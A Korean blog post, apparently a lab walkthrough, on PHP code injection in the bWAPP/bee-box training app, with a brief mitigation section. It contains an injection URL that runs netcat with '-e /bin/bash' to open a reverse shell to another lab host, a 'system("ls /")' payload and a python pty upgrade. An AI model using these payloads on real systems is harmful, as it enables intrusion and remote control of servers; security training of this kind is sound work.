관리 메뉴

FU11M00N

5-1. bee-box 를 사용하여 PHP Code injection 알아보기! 본문

Web Hacking/bee-box

5-1. bee-box 를 사용하여 PHP Code injection 알아보기!

호IT 2020. 3. 19. 12:16

이번에는 PHP Code injection에 대해 알아보겠습니다!

먼저 PHP는 PHP:Hypertext Preprocessor 이며 아래와 같은 특징을 가지고 있는 서버 측 프로그래밍 언어입니다! 

1. 주로 HTML 코드를 프로그래밍적으로 생성
2. 서버쪽에서 실행되는 프로그래밍 언어

1. 레벨 low

사진 1-1

 

phpi.php 에서는 message라고 되어있는 글씨를 클릭하면 'test' 문자가 출력됩니다! 그리고

URL을 보니 GET방식 메서드로 데이터를 전송하기 때문에 변수까지 노출되어있는 모습을 확인할 수 있다.

 

message라는 변수가 노출되어있으니 저곳에 PHP 함수를 입력하여 내부의 정보를 확인해보도록 해보자!

사진 1-2

ls l 명령어를 사용하여 현재 디렉터리에 있는 파일들의 정보를 확인하였습니다.

message=system("ls /"); 

 

그럼 이번에도 NC(NetCat)을 사용해보도록 하겠습니다.

이번에는 넷켓을 이용하여 악성 스크립트를 넣어 실행되도록 해보겠습니다.

 

사진 1-3

먼저 넷캣을 키고 저번과 동일하게 

nc -l -p 2020을 입력합니다. -l의 의미는 listen 모드로 nc를 띠우게 됩니다. 주로 nc(netcat)을 서버로 이용할 때 사용합니다. -p의 의미는 local-port를 지정하는 것입니다 주로 -l과 함께 사용되며 포트 2020은 임의로 제가 정한 포트 번호입니다!

그다음 bWAPP에서 칼리 리눅스에 접속하기 위해 system 함수로 넷캣 프로그램을 실행하겠습니다.

사진 1-4

http://192.168.32.128/bWAPP/phpi.php?message=system("nc 192.168.32.129 2020 -e /bin/bash")

 ( 여기서 -e는 exec의 줄임말이고 옵션에 입력한 프로그램을 실행해주는 명령어 형식입니다)

 

넷캣에서는 셸을 사용할 수 있는 프롬프트가 없고 vi 편집기도 사용을 못하기 때문에  'pseudo-terminal'을

사용하여 vi 편집기 등을 사용할 것입니다.

먼저 'pseudo-terminal' 이란 본체에 LAN으로 연결된 모드를 말하며 원격 접속을 할 수 있습니다. 
pseudo-terminal 약자로 PTY라고도 부릅니다!

사진 1-5

python -c 'import pty;pty.spawn("/bin/bash")'를 입력하여 

 

vi편집기를 사용할 수 있게 되었습니다! 그 후,

사진 1-6

임의로 php 파일을 만들어 alert로 ' hi? ' 가 뜨게 소스코드를 간단히 작성하였습니다.

그다음 해당하는 파일인 succed3.php로 접속하면

사진 1-7

사진 1-7과 같이 alert 창이 떴습니다. 격자가 alert를 이용해 쿠키값을 얻어내거나 

사용자를 대상으로 피싱사이트로 유인할 수도 있는 위험이 있습니다.

 

2. 레벨 High(대응방안)

사진 1-8

우선 난이도 하와 같이 message=system("ls /");  를 입력하니 홈페이지에 그대로 출력된다.

가장 먼저 그랬듯, 소스코드를 확인해보자.

사진 1-9

소스코드를 확인해보니 난이도 중, 상에서는 message 변수에 세미콜론을 사용하여 스크립트 코드와 같은 
공격이 실행하지 못하게 막아놨다. 즉 세미콜론이 이미 정의되어있기 때문에 우리가 ' ; '를 이용해서 하려고 해도 안 되는 이유입니다.

이번에도 htmlspecialchars 함수를 사용해서 message 변수의 입력값을
필터링해야 합니다!

 

Reference by 비박스 환경을 활용한 웹 모의해킹 완벽실습


Comments